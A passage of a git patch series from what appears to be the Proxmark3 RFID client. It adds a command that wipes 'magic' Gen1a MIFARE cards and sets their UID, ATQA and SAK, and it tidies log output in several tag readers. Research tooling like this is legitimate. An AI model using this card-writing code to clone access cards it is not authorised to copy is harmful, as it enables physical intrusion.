b/client/mifare/mifarehost.h index 11bd3f29c..50ed9d8e2 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -73,6 +73,7 @@ int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_t wipecard); +int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak); int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params); From 45926261dbbeec4ed28fce9adeb28b803a8255b9 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 6 Dec 2019 17:12:29 +0200 Subject: [PATCH 067/418] style --- client/cmdhfmf.c | 4 ++-- client/mifare/mifarehost.c | 14 +++++++------- tools/pm3_mf7b_wipe.py | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 680b9da19..2ace2d214 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -3691,7 +3691,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { CLIGetHexWithReturn(2, atqa, &atqaLen); CLIGetHexWithReturn(3, sak, &sakLen); CLIParserFree(); - + if (uidLen && uidLen != 4) { PrintAndLogEx(ERR, "UID length must be 4 bytes instead of: %d", uidLen); return PM3_EINVARG; @@ -3705,7 +3705,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { return PM3_EINVARG; } - int res = mfCWipe((uidLen)? uid : NULL, (atqaLen) ? atqa : NULL, (sakLen) ? sak : NULL); + int res = mfCWipe((uidLen) ? uid : NULL, (atqaLen) ? atqa : NULL, (sakLen) ? sak : NULL); if (res) { PrintAndLogEx(ERR, "Can't wipe card. error=%d", res); return PM3_ESOFT; diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 151ac72cf..e9baa7ee7 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -616,9 +616,9 @@ int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_ } int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak) { - uint8_t block0[16] = {0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xAF}; - uint8_t blockD[16] = {0x00}; - uint8_t blockK[16] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x77, 0x8F, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t block0[16] = {0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xAF}; + uint8_t blockD[16] = {0x00}; + uint8_t blockK[16] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x77, 0x8F, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; uint8_t params = MAGIC_SINGLE; if (uid != NULL) { @@ -632,7 +632,7 @@ int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak) { block0[6] = atqa[1]; block0[7] = atqa[0]; } - int res; + int res; for (int blockNo = 0; blockNo < 4 * 16; blockNo++) { for (int retry = 0; retry < 3; retry++) { if (blockNo == 0) { @@ -643,19 +643,19 @@ int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak) { else res = mfCSetBlock(blockNo, blockD, NULL, params); } - + if (res == PM3_SUCCESS) break; PrintAndLogEx(WARNING, "Retry block[%d]...", blockNo); } - + if (res) { PrintAndLogEx(ERR, "Error setting block[%d]: %d", blockNo, res); return res; } } DropField(); - + return PM3_SUCCESS; } diff --git a/tools/pm3_mf7b_wipe.py b/tools/pm3_mf7b_wipe.py index f4c58ce01..9f7b29c6b 100644 --- a/tools/pm3_mf7b_wipe.py +++ b/tools/pm3_mf7b_wipe.py @@ -71,7 +71,7 @@ # # Thats it! Your S50 7byte UID card is wiped back. Now you can return back to Step 1 of this manual. # -# +# From 1d1700db8dce594231e133edf642f3f0dd291e11 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 6 Dec 2019 17:14:50 +0200 Subject: [PATCH 068/418] changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 296c892dc..e1f3cf2c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf mf cwipe` magic chinese card (gen1a) wipe to default state (@merlokk) - Added 'pm3_mf7b_wipe.py' python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) - Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) - Change `hf 15` - some refactoring (@grspy) From 8425de08fdf965862bb5e9fa528e8e70c0ee6606 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 6 Dec 2019 17:21:45 +0200 Subject: [PATCH 069/418] textual --- client/cmdhfmf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 2ace2d214..dc42cae62 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -3674,7 +3674,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { int sakLen = 0; CLIParserInit("hf mf cwipe", - "Wipe Gen1 magic cheneese card. Set UID/ATQA/SAK/Data/Keys/Access to default values.", + "Wipe gen1 magic chinese card. Set UID/ATQA/SAK/Data/Keys/Access to default values.", "Usage:\n\thf mf cwipe -> wipe card.\n" "\thf mfp mf cwipe -u 09080706 -a 0004 -s 18 -> set UID, ATQA and SAK and wipe card."); From b748a7989ea7587ab885b92f74ccb2e08008543c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 8 Dec 2019 18:49:26 +0100 Subject: [PATCH 070/418] nexwatch textual, wrong endianess --- client/cmddata.c | 8 ++++---- client/cmdlfnexwatch.c | 5 +++-- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/client/cmddata.c b/client/cmddata.c index d13eee46d..cb78642b2 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -406,7 +406,7 @@ static int CmdSetDebugMode(const char *Cmd) { void printDemodBuff(void) { int len = DemodBufferLen; if (len < 1) { - PrintAndLogEx(NORMAL, "(printDemodBuff) no bits found in demod buffer"); + PrintAndLogEx(INFO, "(printDemodBuff) no bits found in demod buffer"); return; } if (len > 512) len = 512; @@ -458,7 +458,7 @@ int CmdPrintDemodBuff(const char *Cmd) { if (errors) return usage_data_printdemodbuf(); if (DemodBufferLen == 0) { - PrintAndLogEx(NORMAL, "Demodbuffer is empty"); + PrintAndLogEx(WARNING, "Demodbuffer is empty"); return PM3_ESOFT; } if (lstrip) { @@ -491,9 +491,9 @@ int CmdPrintDemodBuff(const char *Cmd) { if (numBits == 0) { return PM3_ESOFT; } - PrintAndLogEx(NORMAL, "DemodBuffer: %s", hex); + PrintAndLogEx(SUCCESS, "DemodBuffer: %s", hex); } else { - PrintAndLogEx(NORMAL, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); + PrintAndLogEx(SUCCESS, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); } return PM3_SUCCESS; } diff --git a/client/cmdlfnexwatch.c b/client/cmdlfnexwatch.c index 1a204ed41..717bf2587 100644 --- a/client/cmdlfnexwatch.c +++ b/client/cmdlfnexwatch.c @@ -9,6 +9,7 @@ //----------------------------------------------------------------------------- #include "cmdlfnexwatch.h" +#include // PRIu #include // tolower #include "commonutil.h" // ARRAYLEN @@ -80,9 +81,9 @@ static int CmdNexWatchDemod(const char *Cmd) { //checksum check (TBD) //output - PrintAndLogEx(NORMAL, "NexWatch ID: %d", ID); + PrintAndLogEx(SUCCESS, "NexWatch ID: " _YELLOW_("%"PRIu32) , ID); if (invert) { - PrintAndLogEx(NORMAL, "Had to Invert - probably NexKey"); + PrintAndLogEx(INFO, "Had to Invert - probably NexKey"); for (size_t i = 0; i < size; i++) DemodBuffer[i] ^= 1; } From 3dd380e9850219b4485d2c0e988edcdd84e0f688 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 10 Dec 2019 18:13:21 +0100 Subject: [PATCH 071/418] newline --- client/cmdhf14a.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 73b19ae0f..4aac73855 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1272,6 +1272,8 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { return select_status; } + PrintAndLogEx(NORMAL, ""); + if (select_status == 3) { PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); From a66944f7e78c38fd2b939f47d5a44b81f929c050 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 10 Dec 2019 18:15:51 +0100 Subject: [PATCH 072/418] newline --- client/cmdhf14b.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/client/cmdhf14b.c b/client/cmdhf14b.c index d02d563f4..c57055e4b 100644 --- a/client/cmdhf14b.c +++ b/client/cmdhf14b.c @@ -528,9 +528,10 @@ static bool HF14B_Std_Info(bool verbose) { switch (status) { case 0: - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); - PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid); print_atqb_resp(card.atqb, card.cid); isSuccess = true; break; @@ -662,9 +663,10 @@ static bool HF14B_Std_Reader(bool verbose) { switch (status) { case 0: - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); - PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid); print_atqb_resp(card.atqb, card.cid); isSuccess = true; break; From 24d3bf5d9dff8b40f91c2e42a16625229921a574 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 10 Dec 2019 18:26:09 +0100 Subject: [PATCH 073/418] textual --- client/cmdhflegic.c | 46 ++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/client/cmdhflegic.c b/client/cmdhflegic.c index 4a72397e3..022857584 100644 --- a/client/cmdhflegic.c +++ b/client/cmdhflegic.c @@ -210,7 +210,7 @@ static int CmdLegicInfo(const char *Cmd) { crc = data[4]; uint32_t calc_crc = CRC8Legic(data, 4); - PrintAndLogEx(NORMAL, _YELLOW_("CDF: System Area")); + PrintAndLogEx(SUCCESS, _YELLOW_("CDF: System Area")); PrintAndLogEx(NORMAL, "------------------------------------------------------"); PrintAndLogEx(NORMAL, "MCD: %02x, MSN: %02x %02x %02x, MCC: %02x %s", data[0], @@ -229,7 +229,7 @@ static int CmdLegicInfo(const char *Cmd) { // New unwritten media? if (dcf == 0xFFFF) { - PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type=NM (New Media)", + PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type=NM (New Media)", dcf, data[5], data[6] @@ -262,7 +262,7 @@ static int CmdLegicInfo(const char *Cmd) { stamp_len = 0xfc - data[6]; } - PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type=" _YELLOW_("%s") " (OLE=%01u), OL=%02u, FL=%02u", + PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type=" _YELLOW_("%s") " (OLE=%01u), OL=%02u, FL=%02u", dcf, data[5], data[6], @@ -281,7 +281,7 @@ static int CmdLegicInfo(const char *Cmd) { strncpy(token_type, "IM", sizeof(token_type) - 1); } - PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type = %s (OLE = %01u)", + PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type = %s (OLE = %01u)", dcf, data[5], data[6], @@ -294,7 +294,7 @@ static int CmdLegicInfo(const char *Cmd) { if (dcf != 0xFFFF) { if (bIsSegmented) { - PrintAndLogEx(NORMAL, "WRP = %02u, WRC = %01u, RD = %01u, SSC = %02X", + PrintAndLogEx(SUCCESS, "WRP = %02u, WRC = %01u, RD = %01u, SSC = %02X", data[7] & 0x0f, (data[7] & 0x70) >> 4, (data[7] & 0x80) >> 7, @@ -305,11 +305,11 @@ static int CmdLegicInfo(const char *Cmd) { // Header area is only available on IM-S cards, on master tokens this data is the master token data itself if (bIsSegmented || dcf > 60000) { if (dcf > 60000) { - PrintAndLogEx(NORMAL, "Master token data"); - PrintAndLogEx(NORMAL, "%s", sprint_hex(data + 8, 14)); + PrintAndLogEx(SUCCESS, "Master token data"); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(data + 8, 14)); } else { - PrintAndLogEx(NORMAL, "Remaining Header Area"); - PrintAndLogEx(NORMAL, "%s", sprint_hex(data + 9, 13)); + PrintAndLogEx(SUCCESS, "Remaining Header Area"); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(data + 9, 13)); } } } @@ -323,7 +323,7 @@ static int CmdLegicInfo(const char *Cmd) { if (dcf > 60000) goto out; - PrintAndLogEx(NORMAL, _YELLOW_("\nADF: User Area")); + PrintAndLogEx(SUCCESS, _YELLOW_("\nADF: User Area")); PrintAndLogEx(NORMAL, "------------------------------------------------------"); if (bIsSegmented) { @@ -356,20 +356,20 @@ static int CmdLegicInfo(const char *Cmd) { segCalcCRC = CRC8Legic(segCrcBytes, 8); segCRC = data[i + 4] ^ crc; - PrintAndLogEx(NORMAL, "Segment | %02u ", segmentNum); - PrintAndLogEx(NORMAL, "raw header | 0x%02X 0x%02X 0x%02X 0x%02X", + PrintAndLogEx(SUCCESS, "Segment | %02u ", segmentNum); + PrintAndLogEx(SUCCESS, "raw header | 0x%02X 0x%02X 0x%02X 0x%02X", data[i] ^ crc, data[i + 1] ^ crc, data[i + 2] ^ crc, data[i + 3] ^ crc ); - PrintAndLogEx(NORMAL, "Segment len | %u, Flag: 0x%X (valid:%01u, last:%01u)", + PrintAndLogEx(SUCCESS, "Segment len | %u, Flag: 0x%X (valid:%01u, last:%01u)", segment_len, segment_flag, (segment_flag & 0x4) >> 2, (segment_flag & 0x8) >> 3 ); - PrintAndLogEx(NORMAL, " | WRP: %02u, WRC: %02u, RD: %01u, CRC: 0x%02X (%s)", + PrintAndLogEx(SUCCESS, " | WRP: %02u, WRC: %02u, RD: %01u, CRC: 0x%02X (%s)", wrp, wrc, ((data[i + 3] ^ crc) & 0x80) >> 7, @@ -380,7 +380,7 @@ static int CmdLegicInfo(const char *Cmd) { i += 5; if (hasWRC) { - PrintAndLogEx(NORMAL, "\nWRC protected area: (I %d | K %d| WRC %d)", i, k, wrc); + PrintAndLogEx(SUCCESS, "\nWRC protected area: (I %d | K %d| WRC %d)", i, k, wrc); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); @@ -393,7 +393,7 @@ static int CmdLegicInfo(const char *Cmd) { } if (hasWRP) { - PrintAndLogEx(NORMAL, "Remaining write protected area: (I %d | K %d | WRC %d | WRP %d WRP_LEN %d)", i, k, wrc, wrp, wrp_len); + PrintAndLogEx(SUCCESS, "Remaining write protected area: (I %d | K %d | WRC %d | WRP %d WRP_LEN %d)", i, k, wrc, wrp, wrp_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); @@ -406,7 +406,7 @@ static int CmdLegicInfo(const char *Cmd) { // does this one work? (Answer: Only if KGH/BGH is used with BCD encoded card number! So maybe this will show just garbage...) if (wrp_len == 8) { - PrintAndLogEx(NORMAL, "Card ID: " _YELLOW_("%2X%02X%02X"), + PrintAndLogEx(SUCCESS, "Card ID: " _YELLOW_("%2X%02X%02X"), data[i - 4] ^ crc, data[i - 3] ^ crc, data[i - 2] ^ crc @@ -414,7 +414,7 @@ static int CmdLegicInfo(const char *Cmd) { } } if (remain_seg_payload_len > 0) { - PrintAndLogEx(NORMAL, "Remaining segment payload: (I %d | K %d | Remain LEN %d)", i, k, remain_seg_payload_len); + PrintAndLogEx(SUCCESS, "Remaining segment payload: (I %d | K %d | Remain LEN %d)", i, k, remain_seg_payload_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); @@ -444,14 +444,14 @@ static int CmdLegicInfo(const char *Cmd) { int wrp_len = (wrp - wrc); int remain_seg_payload_len = (card.cardsize - 22 - wrp); - PrintAndLogEx(NORMAL, "Unsegmented card - WRP: %02u, WRC: %02u, RD: %01u", + PrintAndLogEx(SUCCESS, "Unsegmented card - WRP: %02u, WRC: %02u, RD: %01u", wrp, wrc, (data[7] & 0x80) >> 7 ); if (hasWRC) { - PrintAndLogEx(NORMAL, "WRC protected area: (I %d | WRC %d)", i, wrc); + PrintAndLogEx(SUCCESS, "WRC protected area: (I %d | WRC %d)", i, wrc); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); print_hex_break(data + i, wrc, 16); @@ -460,7 +460,7 @@ static int CmdLegicInfo(const char *Cmd) { } if (hasWRP) { - PrintAndLogEx(NORMAL, "Remaining write protected area: (I %d | WRC %d | WRP %d | WRP_LEN %d)", i, wrc, wrp, wrp_len); + PrintAndLogEx(SUCCESS, "Remaining write protected area: (I %d | WRC %d | WRP %d | WRP_LEN %d)", i, wrc, wrp, wrp_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); print_hex_break(data + i, wrp_len, 16); @@ -470,7 +470,7 @@ static int CmdLegicInfo(const char *Cmd) { // Q: does this one work? // A: Only if KGH/BGH is used with BCD encoded card number. Maybe this will show just garbage if (wrp_len == 8) { - PrintAndLogEx(NORMAL, "Card ID: " _YELLOW_("%2X%02X%02X"), + PrintAndLogEx(SUCCESS, "Card ID: " _YELLOW_("%2X%02X%02X"), data[i - 4], data[i - 3], data[i - 2] @@ -479,7 +479,7 @@ static int CmdLegicInfo(const char *Cmd) { } if (remain_seg_payload_len > 0) { - PrintAndLogEx(NORMAL, "Remaining segment payload: (I %d | Remain LEN %d)", i, remain_seg_payload_len); + PrintAndLogEx(SUCCESS, "Remaining segment payload: (I %d | Remain LEN %d)", i, remain_seg_payload_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); print_hex_break(data + i, remain_seg_payload_len, 16); From 9f47a0a8f493c2c9c7ee797ef96d1d9405da40a2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 10 Dec 2019 18:26:22 +0100 Subject: [PATCH 074/418] textual --- client/cmdhftopaz.c | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/client/cmdhftopaz.c b/client/cmdhftopaz.c index ae404b22d..98de42b7b 100644 --- a/client/cmdhftopaz.c +++ b/client/cmdhftopaz.c @@ -220,14 +220,14 @@ static int topaz_print_CC(uint8_t *data) { return PM3_ESOFT; // no NDEF message } - PrintAndLogEx(NORMAL, "Capability Container: %02x %02x %02x %02x", data[0], data[1], data[2], data[3]); - PrintAndLogEx(NORMAL, " %02x: NDEF Magic Number", data[0]); - PrintAndLogEx(NORMAL, " %02x: version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0f); + PrintAndLogEx(SUCCESS, "Capability Container: %02x %02x %02x %02x", data[0], data[1], data[2], data[3]); + PrintAndLogEx(SUCCESS, " %02x: NDEF Magic Number", data[0]); + PrintAndLogEx(SUCCESS, " %02x: version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0f); uint16_t memsize = (data[2] + 1) * 8; topaz_tag.size = memsize; topaz_tag.dynamic_memory = calloc(memsize - TOPAZ_STATIC_MEMORY, sizeof(uint8_t)); - PrintAndLogEx(NORMAL, " %02x: Physical Memory Size of this tag: %d bytes", data[2], memsize); - PrintAndLogEx(NORMAL, " %02x: %s / %s", data[3], + PrintAndLogEx(SUCCESS, " %02x: Physical Memory Size of this tag: %d bytes", data[2], memsize); + PrintAndLogEx(SUCCESS, " %02x: %s / %s", data[3], (data[3] & 0xF0) ? "(RFU)" : "Read access granted without any security", (data[3] & 0x0F) == 0 ? "Write access granted without any security" : (data[3] & 0x0F) == 0x0F ? "No write access granted at all" : "(RFU)"); return PM3_SUCCESS; @@ -301,7 +301,7 @@ static void topaz_print_control_TLVs(uint8_t *memory) { uint16_t bytes_per_page = 1 << (TLV_value[2] & 0x0f); uint16_t bytes_locked_per_bit = 1 << (TLV_value[2] >> 4); uint16_t area_start = pages_addr * bytes_per_page + byte_offset; - PrintAndLogEx(NORMAL, "Lock Area of %d bits at byte offset 0x%04x. Each Lock Bit locks %d bytes.", + PrintAndLogEx(SUCCESS, "Lock Area of %d bits at byte offset 0x%04x. Each Lock Bit locks %d bytes.", size_in_bits, area_start, bytes_locked_per_bit); @@ -333,7 +333,7 @@ static void topaz_print_control_TLVs(uint8_t *memory) { uint16_t size_in_bytes = TLV_value[1] ? TLV_value[1] : 256; uint8_t bytes_per_page = 1 << (TLV_value[2] & 0x0f); uint16_t area_start = pages_addr * bytes_per_page + byte_offset; - PrintAndLogEx(NORMAL, "Reserved Memory of %d bytes at byte offset 0x%02x.", + PrintAndLogEx(SUCCESS, "Reserved Memory of %d bytes at byte offset 0x%02x.", size_in_bytes, area_start); reserved_memory_control_TLV_present = true; @@ -345,11 +345,11 @@ static void topaz_print_control_TLVs(uint8_t *memory) { } if (!lock_TLV_present) { - PrintAndLogEx(NORMAL, "(No Lock Control TLV present)"); + PrintAndLogEx(SUCCESS, "(No Lock Control TLV present)"); } if (!reserved_memory_control_TLV_present) { - PrintAndLogEx(NORMAL, "(No Reserved Memory Control TLV present)"); + PrintAndLogEx(SUCCESS, "(No Reserved Memory Control TLV present)"); } } @@ -376,7 +376,7 @@ static int topaz_read_dynamic_data(void) { // read and print the dynamic memory static void topaz_print_dynamic_data(void) { if (topaz_tag.size > TOPAZ_STATIC_MEMORY) { - PrintAndLogEx(NORMAL, "Dynamic Data blocks:"); + PrintAndLogEx(SUCCESS, "Dynamic Data blocks:"); if (topaz_read_dynamic_data() == 0) { PrintAndLogEx(NORMAL, "block# | offset | Data | Locked(y/n)"); PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------"); @@ -435,19 +435,19 @@ static int CmdHFTopazReader(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", atqa[1], atqa[0]); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", atqa[1], atqa[0]); topaz_tag.HR01[0] = rid_response[0]; topaz_tag.HR01[1] = rid_response[1]; // ToDo: CRC check - PrintAndLogEx(NORMAL, "HR0 : %02x (%sa Topaz tag (%scapable of carrying a NDEF message), %s memory map)", + PrintAndLogEx(SUCCESS, "HR0 : %02x (%sa Topaz tag (%scapable of carrying a NDEF message), %s memory map)", rid_response[0], (rid_response[0] & 0xF0) == 0x10 ? "" : "not ", (rid_response[0] & 0xF0) == 0x10 ? "" : "not ", (rid_response[0] & 0x0F) == 0x01 ? "static" : "dynamic"); - PrintAndLogEx(NORMAL, "HR1 : %02x", rid_response[1]); + PrintAndLogEx(SUCCESS, "HR1 : %02x", rid_response[1]); status = topaz_rall(uid_echo, rall_response); @@ -458,7 +458,7 @@ static int CmdHFTopazReader(const char *Cmd) { } memcpy(topaz_tag.uid, rall_response + 2, 7); - PrintAndLogEx(NORMAL, "UID : %02x %02x %02x %02x %02x %02x %02x", + PrintAndLogEx(SUCCESS, "UID : %02x %02x %02x %02x %02x %02x %02x", topaz_tag.uid[6], topaz_tag.uid[5], topaz_tag.uid[4], @@ -467,13 +467,13 @@ static int CmdHFTopazReader(const char *Cmd) { topaz_tag.uid[1], topaz_tag.uid[0]); - PrintAndLogEx(NORMAL, " UID[6] (Manufacturer Byte) = " _YELLOW_("%02x")", Manufacturer: " _YELLOW_("%s"), + PrintAndLogEx(SUCCESS, " UID[6] (Manufacturer Byte) = " _YELLOW_("%02x")", Manufacturer: " _YELLOW_("%s"), topaz_tag.uid[6], getTagInfo(topaz_tag.uid[6])); memcpy(topaz_tag.data_blocks, rall_response + 2, 0x0f * 8); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Static Data blocks " _YELLOW_("0x00") "to " _YELLOW_("0x0C")":"); + PrintAndLogEx(SUCCESS, "Static Data blocks " _YELLOW_("0x00") "to " _YELLOW_("0x0C")":"); PrintAndLogEx(NORMAL, "block# | offset | Data | Locked"); PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------"); char line[80]; @@ -488,7 +488,7 @@ static int CmdHFTopazReader(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Static Reserved block " _YELLOW_("0x0D")":"); + PrintAndLogEx(SUCCESS, "Static Reserved block " _YELLOW_("0x0D")":"); for (uint16_t j = 0; j < 8; j++) { sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0d][j]); } @@ -496,7 +496,7 @@ static int CmdHFTopazReader(const char *Cmd) { PrintAndLogEx(NORMAL, " 0x%02x | 0x%02x | %s| %-3s", 0x0d, 0x0d * 8, line, "n/a"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Static Lockbits and OTP Bytes:"); + PrintAndLogEx(SUCCESS, "Static Lockbits and OTP Bytes:"); for (uint16_t j = 0; j < 8; j++) { sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0e][j]); } @@ -507,7 +507,7 @@ static int CmdHFTopazReader(const char *Cmd) { status = topaz_print_CC(&topaz_tag.data_blocks[1][0]); if (status == PM3_ESOFT) { - PrintAndLogEx(NORMAL, "No NDEF message data present"); + PrintAndLogEx(SUCCESS, "No NDEF message data present"); topaz_switch_off_field(); return PM3_SUCCESS; } @@ -528,13 +528,13 @@ static int CmdHFTopazReader(const char *Cmd) { static int CmdHFTopazSim(const char *Cmd) { (void)Cmd; // Cmd is not used so far - PrintAndLogEx(NORMAL, "not yet implemented"); + PrintAndLogEx(INFO, "not yet implemented"); return PM3_SUCCESS; } static int CmdHFTopazCmdRaw(const char *Cmd) { (void)Cmd; // Cmd is not used so far - PrintAndLogEx(NORMAL, "not yet implemented. Use hf 14 raw with option -T."); + PrintAndLogEx(INFO, "not yet implemented. Use hf 14 raw with option -T."); return PM3_SUCCESS; } From 75a5b2efb31ff6a01db69b550f29d2de69e70605 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 10 Dec 2019 18:30:18 +0100 Subject: [PATCH 075/418] textual --- client/cmdhf15.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 13bc02fa8..c2bd777e3 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -866,6 +866,7 @@ static int CmdHF15Info(const char *Cmd) { memcpy(uid, recv + 2, sizeof(uid)); + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, " UID : %s", sprintUID(NULL, uid)); PrintAndLogEx(SUCCESS, " TYPE : %s", getTagInfo_15(recv + 2)); PrintAndLogEx(SUCCESS, " SYSINFO : %s", sprint_hex(recv, status - 2)); From 64d08de6a63c0ccd174f58bac8d21198a0911fb0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 11 Dec 2019 15:56:36 +0100 Subject: [PATCH 076/418] textual --- client/cmdhw.c | 24 +++++++++++------------- client/proxmark3.c | 5 ++--- 2 files changed, 13 insertions(+), 16 deletions(-) diff --git a/client/cmdhw.c b/client/cmdhw.c index 5eb6c7100..3c5e65f17 100644 --- a/client/cmdhw.c +++ b/client/cmdhw.c @@ -86,7 +86,7 @@ static void lookupChipID(uint32_t iChipID, uint32_t mem_used) { char asBuff[120]; memset(asBuff, 0, sizeof(asBuff)); uint32_t mem_avail = 0; - PrintAndLogEx(NORMAL, "\n [ Hardware ] "); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ Hardware ]")); switch (iChipID) { case 0x270B0A40: @@ -447,13 +447,13 @@ static int CmdSetDivisor(const char *Cmd) { uint8_t arg = param_get8ex(Cmd, 0, 95, 10); if (arg < 19) { - PrintAndLogEx(ERR, "divisor must be between 19 and 